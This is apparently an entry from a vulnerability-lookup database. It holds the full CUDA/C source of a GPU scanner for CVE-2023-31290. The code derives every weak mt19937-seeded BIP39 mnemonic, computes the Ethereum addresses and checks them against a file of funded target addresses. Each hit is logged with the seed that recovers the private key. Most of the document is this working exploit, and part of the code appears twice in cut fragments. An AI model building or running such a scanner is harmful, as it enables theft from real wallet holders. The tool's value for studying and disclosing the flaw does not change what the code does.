h;\n}\n\n__device__ void sha512(const uint8_t *data, int len, uint8_t out[64]) {\n  uint64_t st[8] = {0x6a09e667f3bcc908ULL, 0xbb67ae8584caa73bULL, 0x3c6ef372fe94f82bULL, 0xa54ff53a5f1d36f1ULL,\n                    0x510e527fade682d1ULL, 0x9b05688c2b3e6c1fULL, 0x1f83d9abfb41bd6bULL, 0x5be0cd19137e2179ULL};\n  uint8_t blk[128];\n  int n = len;\n  const uint8_t *p = data;\n  while (n &gt;= 128) {\n    sha512_compress(st, p);\n    p += 128;\n    n -= 128;\n  }\n  memset(blk, 0, 128);\n  if (n) memcpy(blk, p, n);\n  blk[n] = 0x80;\n  if (n &gt;= 112) {\n    sha512_compress(st, blk);\n    memset(blk, 0, 128);\n  }\n  store_be64(blk + 120, (uint64_t)len * 8);\n  sha512_compress(st, blk);\n#pragma unroll\n  for (int i = 0; i &lt; 8; i++) store_be64(out + 8 * i, st[i]);\n}\n\n/* HMAC-SHA512 with key &lt; 128 bytes (mnemonics are). */\n__device__ void hmac_sha512(const uint8_t *key, int klen, const uint8_t *msg, int mlen, uint8_t out[64]) {\n  uint8_t ipad[128], opad[128], inner[64], buf[256];\n#pragma unroll\n  for (int i = 0; i &lt; 128; i++) {\n    uint8_t k = (i &lt; klen) ? key[i] : 0;\n    ipad[i] = k ^ 0x36;\n    opad[i] = k ^ 0x5c;\n  }\n  memcpy(buf, ipad, 128);\n  memcpy(buf + 128, msg, mlen);\n  sha512(buf, 128 + mlen, inner);\n  memcpy(buf, opad, 128);\n  memcpy(buf + 128, inner, 64);\n  sha512(buf, 192, out);\n}\n\n__device__ void pbkdf2_mnemonic(const uint8_t *pass, int plen, uint8_t dk[64]) {\n  /* salt = \"mnemonic\" || INT_32_BE(1) */\n  uint8_t salt[12] = {'m', 'n', 'e', 'm', 'o', 'n', 'i', 'c', 0, 0, 0, 1};\n  uint8_t u[64], t[64];\n  hmac_sha512(pass, plen, salt, 12, u);\n  memcpy(t, u, 64);\n  for (int i = 1; i &lt; 2048; i++) {\n    hmac_sha512(pass, plen, u, 64, u);\n#pragma unroll\n    for (int j = 0; j &lt; 64; j++) t[j] ^= u[j];\n  }\n  memcpy(dk, t, 64);\n}\n\n/* std::mt19937 */\n__device__ void mt_entropy16(uint32_t seed, uint8_t ent[16]) {\n  uint32_t mt[624];\n  mt[0] = seed;\n  for (int i = 1; i &lt; 624; i++) mt[i] = 1812433253u * (mt[i - 1] ^ (mt[i - 1] &gt;&gt; 30)) + (uint32_t)i;\n  /* one twist, then 32 outputs, keep first 16 bytes */\n  for (int i = 0; i &lt; 624; i++) {\n    uint32_t y = (mt[i] &amp; 0x80000000u) | (mt[(i + 1) % 624] &amp; 0x7fffffffu);\n    uint32_t v = mt[(i + 397) % 624] ^ (y &gt;&gt; 1);\n    if (y &amp; 1) v ^= 0x9908b0dfu;\n    mt[i] = v;\n  }\n  for (int i = 0; i &lt; 16; i++) {\n    uint32_t y = mt[i];\n    y ^= y &gt;&gt; 11;\n    y ^= (y &lt;&lt; 7) &amp; 0x9d2c5680u;\n    y ^= (y &lt;&lt; 15) &amp; 0xefc60000u;\n    y ^= y &gt;&gt; 18;\n    ent[i] = (uint8_t)(y &amp; 0xff);\n  }\n}\n\n__constant__ char D_WORDS[2048][9];\n__constant__ unsigned char D_WLEN[2048];\n\n/* SHA-256 for BIP39 checksum only (16-byte input). */\n__device__ __constant__ uint32_t K256[64] = {\n    0x428a2f98,0x71374491,0xb5c0fbcf,0xe9b5dba5,0x3956c25b,0x59f111f1,0x923f82a4,0xab1c5ed5,\n    0xd807aa98,0x12835b01,0x243185be,0x550c7dc3,0x72be5d74,0x80deb1fe,0x9bdc06a7,0xc19bf174,\n    0xe49b69c1,0xefbe4786,0x0fc19dc6,0x240ca1cc,0x2de92c6f,0x4a7484aa,0x5cb0a9dc,0x76f988da,\n    0x983e5152,0xa831c66d,0xb00327c8,0xbf597fc7,0xc6e00bf3,0xd5a79147,0x06ca6351,0x14292967,\n    0x27b70a85,0x2e1b2138,0x4d2c6dfc,0x53380d13,0x650a7354,0x766a0abb,0x81c2c92e,0x92722c85,\n    0xa2bfe8a1,0xa81a664b,0xc24b8b70,0xc76c51a3,0xd192e819,0xd6990624,0xf40e3585,0x106aa070,\n    0x19a4c116,0x1e376c08,0x2748774c,0x34b0bcb5,0x391c0cb3,0x4ed8aa4a,0x5b9cca4f,0x682e6ff3,\n    0x748f82ee,0x78a5636f,0x84c87814,0x8cc70208,0x90befffa,0xa4506ceb,0xbef9a3f7,0xc67178f2};\n__device__ __forceinline__ uint32_t rotr32(uint32_t x, int n) { return (x &gt;&gt; n) | (x &lt;&lt; (32 - n)); }\n__device__ uint32_t sha256_first_byte(const uint8_t ent[16]) {\n  uint32_t W[64];\n  uint8_t blk[64] = {0};\n  memcpy(blk, ent, 16);\n  blk[16] = 0x80;\n  blk[63] = 128; /* 16*8 = 128 bits */\n#pragma unroll\n  for (int i = 0; i &lt; 16; i++)\n    W[i] = ((uint32_t)blk[4 * i] &lt;&lt; 24) | ((uint32_t)blk[4 * i + 1] &lt;&lt; 16) | ((uint32_t)blk[4 * i + 2] &lt;&lt; 8) | blk[4 * i + 3];\n#pragma unroll\n  for (int i = 16; i &lt; 64; i++) {\n    uint32_t s0 = rotr32(W[i - 15], 7) ^ rotr32(W[i - 15], 18) ^ (W[i - 15] &gt;&gt; 3);\n    uint32_t s1 = rotr32(W[i - 2], 17) ^ rotr32(W[i - 2], 19) ^ (W[i - 2] &gt;&gt; 10);\n    W[i] = W[i - 16] + s0 + W[i - 7] + s1;\n  }\n  uint32_t a = 0x6a09e667, b = 0xbb67ae85, c = 0x3c6ef372, d = 0xa54ff53a;\n  uint32_t e = 0x510e527f, f = 0x9b05688c, g = 0x1f83d9ab, h = 0x5be0cd19;\n#pragma unroll\n  for (int i = 0; i &lt; 64; i++) {\n    uint32_t S1 = rotr32(e, 6) ^ rotr32(e, 11) ^ rotr32(e, 25);\n    uint32_t ch = (e &amp; f) ^ ((~e) &amp; g);\n    uint32_t t1 = h + S1 + ch + K256[i] + W[i];\n    uint32_t S0 = rotr32(a, 2) ^ rotr32(a, 13) ^ rotr32(a, 22);\n    uint32_t maj = (a &amp; b) ^ (a &amp; c) ^ (b &amp; c);\n    uint32_t t2 = S0 + maj;\n    h = g; g = f; f = e; e = d + t1; d = c; c = b; b = a; a = t1 + t2;\n  }\n  a += 0x6a09e667;\n  return (uint8_t)(a &gt;&gt; 24);\n}\n\n__device__ int make_mnemonic(uint32_t seed, uint8_t *mnemo) {\n  uint8_t ent[16];\n  mt_entropy16(seed, ent);\n  uint8_t bits[17];\n  memcpy(bits, ent, 16);\n  bits[16] = sha256_first_byte(ent);\n  int pos = 0;\n  for (int w = 0; w &lt; 12; w++) {\n    int idx = 0;\n    int bit = w * 11;\n    for (int j = 0; j &lt; 11; j++) {\n      int p = bit + j;\n      idx = (idx &lt;&lt; 1) | ((bits[p &gt;&gt; 3] &gt;&gt; (7 - (p &amp; 7))) &amp; 1);\n    }\n    int wl = D_WLEN[idx];\n    if (w) mnemo[pos++] = ' ';\n    for (int k = 0; k &lt; wl; k++) mnemo[pos++] = (uint8_t)D_WORDS[idx][k];\n  }\n  mnemo[pos] = 0;\n  return pos;\n}\n\n__global__ void k_derive_seed64(uint32_t start, int n, uint8_t *out64) {\n  int i = blockIdx.x * blockDim.x + threadIdx.x;\n  if (i &gt;= n) return;\n  uint8_t mnemo[128];\n  int mlen = make_mnemonic(start + (uint32_t)i, mnemo);\n  pbkdf2_mnemonic(mnemo, mlen, out64 + (size_t)i * 64);\n}\n\n/* ---------------- host ETH path (verified vs Donjon) ---------------- */\nstatic int hmac_sha512_host(const uint8_t *key, size_t klen, const uint8_t *data, size_t dlen, uint8_t out[64]) {\n  unsigned int olen = 64;\n  return HMAC(EVP_sha512(), key, (int)klen, data, dlen, out, &amp;olen) &amp;&amp; olen == 64 ? 0 : -1;\n}\nstatic int ckd_priv(secp256k1_context *ctx, uint8_t key[32], uint8_t cc[32], uint32_t index) {\n  uint8_t data[37], I[64];\n  if (index &amp; 0x80000000u) {\n    data[0] = 0;\n    memcpy(data + 1, key, 32);\n    data[33] = (uint8_t)(index &gt;&gt; 24); data[34] = (uint8_t)(index &gt;&gt; 16);\n    data[35] = (uint8_t)(index &gt;&gt; 8);  data[36] = (uint8_t)index;\n  } else {\n    secp256k1_pubkey pub;\n    if (!secp256k1_ec_pubkey_create(ctx, &amp;pub, key)) return -1;\n    size_t clen = 33;\n    if (!secp256k1_ec_pubkey_serialize(ctx, data, &amp;clen, &amp;pub, SECP256K1_EC_COMPRESSED)) return -1;\n    data[33] = (uint8_t)(index &gt;&gt; 24); data[34] = (uint8_t)(index &gt;&gt; 16);\n    data[35] = (uint8_t)(index &gt;&gt; 8);  data[36] = (uint8_t)index;\n  }\n  if (hmac_sha512_host(cc, 32, data, 37, I) != 0) return -1;\n  if (!secp256k1_ec_seckey_tweak_add(ctx, key, I)) return -1;\n  memcpy(cc, I + 32, 32);\n  return 0;\n}\nstatic void keccak256(const uint8_t *in, size_t inlen, uint8_t out[32]) {\n  size_t l = 32;\n  if (!EVP_Q_digest(NULL, \"KECCAK-256\", NULL, in, inlen, out, &amp;l) || l != 32) memset(out, 0, 32);\n}\nstatic int eth_from_seed64(secp256k1_context *ctx, const uint8_t seed[64], uint8_t addr[20]) {\n  uint8_t I[64], key[32], cc[32];\n  if (hmac_sha512_host((const uint8_t *)\"Bitcoin seed\", 12, seed, 64, I) != 0) return -1;\n  memcpy(key, I, 32); memcpy(cc, I + 32, 32);\n  if (ckd_priv(ctx, key, cc, 0x8000002cu) != 0) return -1;\n  if (ckd_priv(ctx, key, cc, 0x8000003cu) != 0) return -1;\n  if (ckd_priv(ctx, key, cc, 0x80000000u) != 0) return -1;\n  if (ckd_priv(ctx, key, cc, 0) != 0) return -1;\n  if (ckd_priv(ctx, key, cc, 0) != 0) return -1;\n  secp256k1_pubkey pub;\n  if (!secp256k1_ec_pubkey_create(ctx, &amp;pub, key)) return -1;\n  uint8_t uncomp[65];\n  size_t ulen = 65;\n  if (!secp256k1_ec_pubkey_serialize(ctx, uncomp, &amp;ulen, &amp;pub, SECP256K1_EC_UNCOMPRESSED)) return -1;\n  uint8_t h[32];\n  keccak256(uncomp + 1, 64, h);\n  memcpy(addr, h + 12, 20);\n  return 0;\n}\nstatic int cmp20(const void *a, const void *b) { return memcmp(a, b, 20); }\nstatic const uint8_t *g_targets;\nstatic size_t g_ntargets;\nstatic int in_targets(const uint8_t addr[20]) {\n  return g_ntargets &amp;&amp; bsearch(addr, g_targets, g_ntargets, 20, cmp20) != NULL;\n}\nstatic void hex20(const uint8_t a[20], char out[43]) {\n  static const char *h = \"0123456789abcdef\";\n  out[0] = '0'; out[1] = 'x';\n  for (int i = 0; i &lt; 20; i++) { out[2 + 2 * i] = h[a[i] &gt;&gt; 4]; out[3 + 2 * i] = h[a[i] &amp; 0xf]; }\n  out[42] = 0;\n}\n\nstatic FILE *hits_fp;\nstatic pthread_mutex_t hits_mu = PTHREAD_MUTEX_INITIALIZER;\nstatic std::atomic g_done{0};\nstatic std::atomic g_hits{0};\nstatic int g_inner_threads = 64;\n\nstatic int load_targets(const char *path) {\n  int fd = open(path, O_RDONLY);\n  if (fd &lt; 0) return -1;\n  struct stat st;\n  if (fstat(fd, &amp;st) || st.st_size % 20) { close(fd); return -1; }\n  g_ntargets = (size_t)st.st_size / 20;\n  g_targets = (const uint8_t *)mmap(NULL, (size_t)st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);\n  return g_targets == MAP_FAILED ? -1 : 0;\n}\n\nstatic int host_selftest_cpu(void) {\n  /* OpenSSL PBKDF2 of Donjon mnemonic must match GPU later. */\n  const char *m = \"stick bench smart report motor arrive enter river scale manage viable squeeze\";\n  uint8_t seed[64];\n  if (PKCS5_PBKDF2_HMAC(m, (int)strlen(m), (const unsigned char *)\"mnemonic\", 8, 2048, EVP_sha512(), 64, seed) != 1)\n    return 1;\n  secp256k1_context *ctx = secp256k1_context_create(SECP256K1_CONTEXT_NONE);\n  uint8_t addr[20];\n  int rc = eth_from_seed64(ctx, seed, addr);\n  secp256k1_context_destroy(ctx);\n  char hx[43];\n  hex20(addr, hx);\n  int ok = rc == 0 &amp;&amp; strncmp(hx + 2, \"df6d9547e163d5e7eafbe2feb24bfa12a4c913c0\", 40) == 0;\n  printf(\"host Donjon eth %s %s\\n\", ok ? \"PASS\" : \"FAIL\", hx);\n  return ok ? 0 : 1;\n}\n\nstatic int gpu_selftest(int dev) {\n  CHECK_CUDA(cudaSetDevice(dev));\n  CHECK_CUDA(cudaMemcpyToSymbol(D_WORDS, H_WORDS, sizeof(H_WORDS)));\n  CHECK_CUDA(cudaMemcpyToSymbol(D_WLEN, H_WLEN, sizeof(H_WLEN)));\n  uint8_t *d_out;\n  CHECK_CUDA(cudaMalloc(&amp;d_out, 64));\n  k_derive_seed64&lt;&lt;&lt;1, 1&gt;&gt;&gt;(0xc92b023d, 1, d_out);\n  CHECK_CUDA(cudaDeviceSynchronize());\n  uint8_t got[64];\n  CHECK_CUDA(cudaMemcpy(got, d_out, 64, cudaMemcpyDeviceToHost));\n  cudaFree(d_out);\n  const char *m = \"stick bench smart report motor arrive enter river scale manage viable squeeze\";\n  uint8_t exp[64];\n  PKCS5_PBKDF2_HMAC(m, (int)strlen(m), (const unsigned char *)\"mnemonic\", 8, 2048, EVP_sha512(), 64, exp);\n  int ok = memcmp(got, exp, 64) == 0;\n  printf(\"gpu PBKDF2 Donjon %s\\n\", ok ? \"PASS\" : \"FAIL\");\n  if (!ok) {\n    printf(\"  exp \"); for (int i = 0; i &lt; 16; i++) printf(\"%02x\", exp[i]); printf(\"\\n\");\n    printf(\"  got \"); for (int i = 0; i &lt; 16; i++) printf(\"%02x\", got[i]); printf(\"\\n\");\n  }\n  secp256k1_context *ctx = secp256k1_context_create(SECP256K1_CONTEXT_NONE);\n  uint8_t addr[20];\n  eth_from_seed64(ctx, got, addr);\n  secp256k1_context_destroy(ctx);\n  char hx[43];\n  hex20(addr, hx);\n  int aok = strncmp(hx + 2, \"df6d9547e163d5e7eafbe2feb24bfa12a4c913c0\", 40) == 0;\n  printf(\"gpu-&gt;eth Donjon %s %s\\n\", aok ? \"PASS\" : \"FAIL\", hx);\n  return (ok &amp;&amp; aok) ? 0 : 1;\n}\n\nstatic void process_batch(secp256k1_context *ctx, uint32_t start, int n, const uint8_t *seed64) {\n#ifdef _OPENMP\n#pragma omp parallel num_threads(g_inner_threads)\n  {\n    secp256k1_context *tctx = secp256k1_context_create(SECP256K1_CONTEXT_NONE);\n#pragma omp for schedule(static)\n    for (int i = 0; i &lt; n; i++) {\n      uint8_t addr[20];\n      if (eth_from_seed64(tctx, seed64 + (size_t)i * 64, addr) == 0 &amp;&amp; in_targets(addr)) {\n        char hx[43];\n        hex20(addr, hx);\n        pthread_mutex_lock(&amp;hits_mu);\n        fprintf(hits_fp, \"{\\\"seed\\\":\\\"0x%08x\\\",\\\"address\\\":\\\"%s\\\"}\\n\", start + (uint32_t)i, hx);\n        fflush(hits_fp);\n        pthread_mutex_unlock(&amp;hits_mu);\n        g_hits.fetch_add(1);\n        fprintf(stderr, \"HIT seed=0x%08x %s\\n\", start + (uint32_t)i, hx);\n      }\n    }\n    secp256k1_context_destroy(tctx);\n  }\n#else\n  for (int i = 0; i &lt; n; i++) {\n    uint8_t addr[20];\n    if (eth_from_seed64(ctx, seed64 + (size_t)i * 64, addr) == 0 &amp;&amp; in_targets(addr)) {\n      char hx[43];\n      hex20(addr, hx);\n      fprintf(hits_fp, \"{\\\"seed\\\":\\\"0x%08x\\\",\\\"address\\\":\\\"%s\\\"}\\n\", start + (uint32_t)i, hx);\n      fflush(hits_fp);\n      g_hits.fetch_add(1);\n      fprintf(stderr, \"HIT seed=0x%08x %s\\n\", start + (uint32_t)i, hx);\n    }\n  }\n#endif\n  g_done.fetch_add((uint64_t)n);\n}\n\nint main(int argc, char **argv) {\n  const char *tpath = \"targets.bin\";\n  const char *hpath = \"hits.jsonl\";\n  uint64_t start = 0, count = 1ULL &lt;&lt; 32;\n  int threads = 256;\n  if (argc &gt;= 2 &amp;&amp; !strcmp(argv[1], \"selftest\")) {\n    if (host_selftest_cpu()) return 1;\n    int ndev = 0;\n    CHECK_CUDA(cudaGetDeviceCount(&amp;ndev));\n    printf(\"cuda devices=%d\\n\", ndev);\n    if (ndev &lt; 1) return 1;\n    return gpu_selftest(0);\n  }\n  for (int i = 1; i &lt; argc; i++) {\n    if (!strcmp(argv[i], \"--targets\") &amp;&amp; i + 1 &lt; argc) tpath = argv[++i];\n    else if (!strcmp(argv[i], \"--hits\") &amp;&amp; i + 1 &lt; argc) hpath = argv[++i];\n    else if (!strcmp(argv[i], \"--start\") &amp;&amp; i + 1 &lt; argc) start = strtoull(argv[++i], NULL, 0);\n    else if (!strcmp(argv[i], \"--count\") &amp;&amp; i + 1 &lt; argc) count = strtoull(argv[++i], NULL, 0);\n    else if (!strcmp(argv[i], \"--threads\") &amp;&amp; i + 1 &lt; argc) threads = atoi(argv[++i]);\n  }\n  if (load_targets(tpath)) { perror(\"targets\"); return 1; }\n  hits_fp = fopen(hpath, \"a\");\n  if (!hits_fp) { perror(\"hits\"); return 1; }\n  if (host_selftest_cpu() || gpu_selftest(0)) {\n    fprintf(stderr, \"refusing to scan: selftest failed\\n\");\n    return 1;\n  }\n  int ndev = 0;\n  CHECK_CUDA(cudaGetDeviceCount(&amp;ndev));\n  if (ndev &lt; 1) return 1;\n  printf(\"scan start=%\" PRIu64 \" count=%\" PRIu64 \" gpus=%d targets=%zu\\n\", start, count, ndev, g_ntargets);\n  fflush(stdout);\n\n  const int BATCH = 1 &lt;&lt; 18;\n#ifdef _OPENMP\n  omp_set_nested(1);\n  omp_set_max_active_levels(2);\n  g_inner_threads = threads / (ndev &gt; 0 ? ndev : 1);\n  if (g_inner_threads &lt; 8) g_inner_threads = 8;\n  printf(\"inner_cpu_threads=%d\\n\", g_inner_threads);\n#endif\n  uint64_t done_at = start + count;\n  if (done_at &gt; (1ULL &lt;&lt; 32)) done_at = 1ULL &lt;&lt; 32;\n  struct timespec t0;\n  clock_gettime(CLOCK_MONOTONIC, &amp;t0);\n\n#pragma omp parallel num_threads(ndev)\n  {\n    int gpu = 0;\n#ifdef _OPENMP\n    gpu = omp_get_thread_num();\n#endif\n    CHECK_CUDA(cudaSetDevice(gpu));\n    CHECK_CUDA(cudaMemcpyToSymbol(D_WORDS, H_WORDS, sizeof(H_WORDS)));\n    CHECK_CUDA(cudaMemcpyToSymbol(D_WLEN, H_WLEN, sizeof(H_WLEN)));\n    uint8_t *d_seed = NULL;\n    CHECK_CUDA(cudaMalloc(&amp;d_seed, (size_t)BATCH * 64));\n    uint8_t *h_seed = (uint8_t *)malloc((size_t)BATCH * 64);\n    secp256k1_context *ctx = secp256k1_context_create(SECP256K1_CONTEXT_NONE);\n    uint64_t my_count = (done_at - start) / (uint64_t)ndev;\n    uint64_t my_start = start + (uint64_t)gpu * my_count;\n    uint64_t my_end = (gpu == ndev - 1) ? done_at : my_start + my_count;\n    for (uint64_t s = my_start; s &lt; my_end; ) {\n      int n = BATCH;\n      if ((uint64_t)n &gt; my_end - s) n = (int)(my_end - s);\n      int block = 128;\n      int grid = (n + block - 1) / block;\n      k_derive_seed64&lt;&lt;&gt;&gt;((uint32_t)s, n, d_seed);\n      CHECK_CUDA(cudaDeviceSynchronize());\n      CHECK_CUDA(cudaMemcpy(h_seed, d_seed, (size_t)n * 64, cudaMemcpyDeviceToHost));\n      process_batch(ctx, (uint32_t)s, n, h_seed);\n      if (gpu == 0) {\n        struct timespec t1;\n        clock_gettime(CLOCK_MONOTONIC, &amp;t1);\n        double sec = (t1.tv_sec - t0.tv_sec) + (t1.tv_nsec - t0.tv_nsec) / 1e9;\n        uint64_t done = g_done.load();\n        double r = done / (sec &gt; 0.001 ? sec : 0.001);\n        double eta = r &gt; 0 ? (count - done) / r : 0;\n        fprintf(stderr, \"progress done=%\" PRIu64 \"/%\" PRIu64 \" (%.3f%%) rate=%.0f/s hits=%\" PRIu64 \" eta=%.0fs\\n\",\n                done, count, 100.0 * done / (double)count, r, g_hits.load(), eta);\n      }\n      s += (uint64_t)n;\n    }\n    secp256k1_context_destroy(ctx);\n    free(h_seed);\n    cudaFree(d_seed);\n  }\n  printf(\"DONE hits=%\" PRIu64 \"\\n\", g_hits.load());\n  fclose(hits_fp);\n  return 0;\n}\n", "creation_timestamp": "2026-09-04T00:00:27.004395Z"}, {"uuid": "9294a6ed-c612-40f1-b769-434faf4b4197", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31290", "type": "seen", "source": "https://gist.github.com/itwizardo/2e9833484cf03ca592e212cb9934dd43", "content": "/* CVE-2023-31290 GPU scanner\n * Device: std::mt19937 -&gt; BIP39-128 mnemonic -&gt; PBKDF2-HMAC-SHA512/2048\n * Host:   BIP32 m/44'/60'/0'/0/0 -&gt; keccak ETH addr -&gt; funded-list bsearch\n * Selftest: Ledger Donjon seed 0xc92b023d\n */\n#include \n#include \n#include \n#include \n#include \n\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#ifdef _OPENMP\n#include \n#endif\n\n#include \"words_cuda.inc\"\n\n#define CHECK_CUDA(x)                                                          \\\n  do {                                                                         \\\n    cudaError_t _e = (x);                                                      \\\n    if (_e != cudaSuccess) {                                                   \\\n      fprintf(stderr, \"CUDA %s:%d %s\\n\", __FILE__, __LINE__, cudaGetErrorString(_e)); \\\n      exit(1);                                                                 \\\n    }                                                                          \\\n  } while (0)\n\n/* ---------------- SHA-512 (FIPS 180-4) ---------------- */\n__device__ __constant__ uint64_t DK[80] = {\n    0x428a2f98d728ae22ULL, 0x7137449123ef65cdULL, 0xb5c0fbcfec4d3b2fULL, 0xe9b5dba58189dbbcULL,\n    0x3956c25bf348b538ULL, 0x59f111f1b605d019ULL, 0x923f82a4af194f9bULL, 0xab1c5ed5da6d8118ULL,\n    0xd807aa98a3030242ULL, 0x12835b0145706fbeULL, 0x243185be4ee4b28cULL, 0x550c7dc3d5ffb4e2ULL,\n    0x72be5d74f27b896fULL, 0x80deb1fe3b1696b1ULL, 0x9bdc06a725c71235ULL, 0xc19bf174cf692694ULL,\n    0xe49b69c19ef14ad2ULL, 0xefbe4786384f25e3ULL, 0x0fc19dc68b8cd5b5ULL, 0x240ca1cc77ac9c65ULL,\n    0x2de92c6f592b0275ULL, 0x4a7484aa6ea6e483ULL, 0x5cb0a9dcbd41fbd4ULL, 0x76f988da831153b5ULL,\n    0x983e5152ee66dfabULL, 0xa831c66d2db43210ULL, 0xb00327c898fb213fULL, 0xbf597fc7beef0ee4ULL,\n    0xc6e00bf33da88fc2ULL, 0xd5a79147930aa725ULL, 0x06ca6351e003826fULL, 0x142929670a0e6e70ULL,\n    0x27b70a8546d22ffcULL, 0x2e1b21385c26c926ULL, 0x4d2c6dfc5ac42aedULL, 0x53380d139d95b3dfULL,\n    0x650a73548baf63deULL, 0x766a0abb3c77b2a8ULL, 0x81c2c92e47edaee6ULL, 0x92722c851482353bULL,\n    0xa2bfe8a14cf10364ULL, 0xa81a664bbc423001ULL, 0xc24b8b70d0f89791ULL, 0xc76c51a30654be30ULL,\n    0xd192e819d6ef5218ULL, 0xd69906245565a910ULL, 0xf40e35855771202aULL, 0x106aa07032bbd1b8ULL,\n    0x19a4c116b8d2d0c8ULL, 0x1e376c085141ab53ULL, 0x2748774cdf8eeb99ULL, 0x34b0bcb5e19b48a8ULL,\n    0x391c0cb3c5c95a63ULL, 0x4ed8aa4ae3418acbULL, 0x5b9cca4f7763e373ULL, 0x682e6ff3d6b2b8a3ULL,\n    0x748f82ee5defb2fcULL, 0x78a5636f43172f60ULL, 0x84c87814a1f0ab72ULL, 0x8cc702081a6439ecULL,\n    0x90befffa23631e28ULL, 0xa4506cebde82bde9ULL, 0xbef9a3f7b2c67915ULL, 0xc67178f2e372532bULL,\n    0xca273eceea26619cULL, 0xd186b8c721c0c207ULL, 0xeada7dd6cde0eb1eULL, 0xf57d4f7fee6ed178ULL,\n    0x06f067aa72176fbaULL, 0x0a637dc5a2c898a6ULL, 0x113f9804bef90daeULL, 0x1b710b35131c471bULL,\n    0x28db77f523047d84ULL, 0x32caab7b40c72493ULL, 0x3c9ebe0a15c9bebcULL, 0x431d67c49c100d4cULL,\n    0x4cc5d4becb3e42b6ULL, 0x597f299cfc657e2aULL, 0x5fcb6fab3ad6faecULL, 0x6c44198c4a475817ULL};\n\n__device__ __forceinline__ uint64_t rotr64(uint64_t x, int n) { return (x &gt;&gt; n) | (x &lt;&lt; (64 - n)); }\n__device__ __forceinline__ uint64_t load_be64(const uint8_t *p) {\n  return ((uint64_t)p[0] &lt;&lt; 56) | ((uint64_t)p[1] &lt;&lt; 48) | ((uint64_t)p[2] &lt;&lt; 40) | ((uint64_t)p[3] &lt;&lt; 32) |\n         ((uint64_t)p[4] &lt;&lt; 24) | ((uint64_t)p[5] &lt;&lt; 16) | ((uint64_t)p[6] &lt;&lt; 8) | (uint64_t)p[7];\n}\n__device__ __forceinline__ void store_be64(uint8_t *p, uint64_t x) {\n  p[0] = (uint8_t)(x &gt;&gt; 56); p[1] = (uint8_t)(x &gt;&gt; 48); p[2] = (uint8_t)(x &gt;&gt; 40); p[3] = (uint8_t)(x &gt;&gt; 32);\n  p[4] = (uint8_t)(x &gt;&gt; 24); p[5] = (uint8_t)(x &gt;&gt; 16); p[6] = (uint8_t)(x &gt;&gt; 8);  p[7] = (uint8_t)x;\n}\n\n__device__ void sha512_compress(uint64_t s[8], const uint8_t blk[128]) {\n  uint64_t W[80];\n#pragma unroll\n  for (int i = 0; i &lt; 16; i++) W[i] = load_be64(blk + 8 * i);\n#pragma unroll\n  for (int i = 16; i &lt; 80; i++) {\n    uint64_t s0 = rotr64(W[i - 15], 1) ^ rotr64(W[i - 15], 8) ^ (W[i - 15] &gt;&gt; 7);\n    uint64_t s1 = rotr64(W[i - 2], 19) ^ rotr64(W[i - 2], 61) ^ (W[i - 2] &gt;&gt; 6);\n    W[i] = W[i - 16] + s0 + W[i - 7] + s1;\n  }\n  uint64_t a = s[0], b = s[1], c = s[2], d = s[3], e = s[4], f = s[5], g = s[6], h = s[7];\n#pragma unroll\n  for (int i = 0; i &lt; 80; i++) {\n    uint64_t S1 = rotr64(e, 14) ^ rotr64(e, 18) ^ rotr64(e, 41);\n    uint64_t ch = (e &amp; f) ^ ((~e) &amp; g);\n    uint64_t t1 = h + S1 + ch + DK[i] + W[i];\n    uint64_t S0 = rotr64(a, 28) ^ rotr64(a, 34) ^ rotr64(a, 39);\n    uint64_t maj = (a &amp; b) ^ (a &amp; c) ^ (b &amp; c);\n    uint64_t t2 = S0 + maj;\n    h = g; g = f; f = e; e = d + t1; d = c; c = b; b = a; a = t1 + t2;\n  }\n  s[0] += a; s[1] += b; s[2] += c; s[3] += d; s[4] += e; s[5] += f; s[6] += g; s[7] += h;\n}\n\n__device__ void sha512(const uint8_t *data, int len, uint8_t out[64]) {\n  uint64_t st[8] = {0x6a09e667f3bcc908ULL, 0xbb67ae8584caa73bULL, 0x3c6ef372fe94f82bULL, 0xa54ff53a5f1d36f1ULL,\n                    0x510e527fade682d1ULL, 0x9b05688c2b3e6c1fULL, 0x1f83d9abfb41bd6bULL, 0x5be0cd19137e2179ULL};\n  uint8_t blk[128];\n  int n = len;\n  const uint8_t *p = data;\n  while (n &gt;= 128) {\n    sha512_compress(st, p);\n    p += 128;\n    n -= 128;\n  }\n  memset(blk, 0, 128);\n  if (n) memcpy(blk, p, n);\n  blk[n] = 0x80;\n  if (n &gt;= 112) {\n    sha512_compress(st, blk);\n    memset(blk, 0, 128);\n  }\n  store_be64(blk + 120, (uint64_t)len * 8);\n  sha512_compress(st, blk);\n#pragma unroll\n  for (int i = 0; i &lt; 8; i++) store_be64(out + 8 * i, st[i]);\n}\n\n/* HMAC-SHA512 with key &lt; 128 bytes (mnemonics are). */\n__device__ void hmac_sha512(const uint8_t *key, int klen, const uint8_t *msg, int mlen, uint8_t out[64]) {\n  uint8_t ipad[128], opad[128], inner[64], buf[256];\n#pragma unroll\n  for (int i = 0; i &lt; 128; i++) {\n    uint8_t k = (i &lt; klen) ? key[i] : 0;\n    ipad[i] = k ^ 0x36;\n    opad[i] = k ^ 0x5c;\n  }\n  memcpy(buf, ipad, 128);\n  memcpy(buf + 128, msg, mlen);\n  sha512(buf, 128 + mlen, inner);\n  memcpy(buf, opad, 128);\n  memcpy(buf + 128, inner, 64);\n  sha512(buf, 192, out);\n}\n\n__device__ void pbkdf2_mnemonic(const uint8_t *pass, int plen, uint8_t dk[64]) {\n  /* salt = \"mnemonic\" || INT_32_BE(1) */\n  uint8_t salt[12] = {'m', 'n', 'e', 'm', 'o', 'n', 'i', 'c', 0, 0, 0, 1};\n  uint8_t u[64], t[64];\n  hmac_sha512(pass, plen, salt, 12, u);\n  memcpy(t, u, 64);\n  for (int i = 1; i &lt; 2048; i++) {\n    hmac_sha512(pass, plen, u, 64, u);\n#pragma unroll\n    for (int j = 0; j &lt; 64; j++) t[j] ^= u[j];\n  }\n  memcpy(dk, t, 64);\n}\n\n/* std::mt19937 */\n__device__ void mt_entropy16(uint32_t seed, uint8_t ent[16]) {\n  uint32_t mt[624];\n  mt[0] = seed;\n  for (int i = 1; i &lt; 624; i++) mt[i] = 1812433253u * (mt[i - 1] ^ (mt[i - 1] &gt;&gt; 30)) + (uint32_t)i;\n  /* one twist, then 32 outputs, keep first 16 bytes */\n  